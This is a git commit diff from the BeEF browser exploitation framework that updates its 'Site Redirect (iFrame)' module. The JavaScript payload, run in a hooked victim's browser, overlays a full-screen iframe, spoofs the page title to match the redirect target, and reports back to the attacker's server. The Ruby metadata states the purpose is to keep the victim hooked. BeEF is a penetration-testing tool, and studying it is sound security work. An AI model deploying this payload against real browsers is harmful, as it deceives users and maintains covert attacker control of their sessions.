jQuery based iframe redirect with title set and timeout for failure callback

git-svn-id: https://beef.googlecode.com/svn/trunk@618 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
yori.kvitchko
2010-12-18 01:05:23 +00:00
parent 6570619529
commit 4d5f51fbe5
2 changed files with 20 additions and 15 deletions

View File

@@ -1,18 +1,21 @@
beef.execute(function() {
/*
TODO:
Automatically get and set iframe title.
*/
var result = 'Iframe successfully created!'
var title = '';
var result = 'Iframe successfully created!';
var title = '<%= @iframe_title %>';
var iframe_src = '<%= @iframe_src %>';
var favicon = iframe_src + '/favicon.ico';
var sent = false;
// document.write('<html><head><title>' + title + '</title><link rel="shortcut icon" href="' + favicon + '" type="image/x-icon" /></head><body><iframe src="' + iframe_src + '" width="100%" height="100%" frameborder="0" scrolling="no"></iframe></body></html>');
$j("iframe").remove();
beef.dom.createIframe('fullscreen', {}, iframe_src, function() { if(!sent) { sent = true; document.title = title; beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result)); } });
document.write('<iframe src="' + iframe_src + '" width="100%" height="100%" frameborder="0" scrolling="no"></iframe>');
setTimeout(function() {
if(!sent) {
result = 'Iframe failed to load, timeout';
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result));
document.title = iframe_src + " is not available";
sent = true;
}
}, <%= @iframe_timeout %>);
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result));
});
});

View File

@@ -11,11 +11,13 @@ class Site_redirect_iframe < BeEF::Command
def initialize
super({
'Name' => 'Site Redirect (iFrame)',
'Description' => 'This module will redirect the hooked browser to the address specified in the \'Redirect URL\' input. It creates a 100% x 100% overlaying iframe to keep the victim hooked.',
'Description' => 'This module will redirect the hooked browser to the address specified in the \'Redirect URL\' input. It creates a 100% x 100% overlaying iframe to keep the victim hooked and changes the page title to the provided value which should be set to the title of the redirect URL.',
'Category' => 'Browser',
'Author' => 'ethicalhack3r',
'Author' => ['ethicalhack3r, Yori Kvitchko'],
'Data' => [
['name' => 'iframe_src', 'ui_label' => 'Redirect URL', 'value' => 'http://www.bindshell.net/', 'width'=>'200px']
['name' => 'iframe_title', 'ui_label' => 'New Page Title', 'value' => 'BindShell.Net: Home', 'width'=>'200px'],
['name' => 'iframe_src', 'ui_label' => 'Redirect URL', 'value' => 'http://www.bindshell.net/', 'width'=>'200px'],
['name' => 'iframe_timeout', 'ui_label' => 'Timeout', 'value' => '3500', 'width'=>'150px']
],
'File' => __FILE__,
'Target' => { 'browser_name' => BeEF::Constants::Browsers::ALL }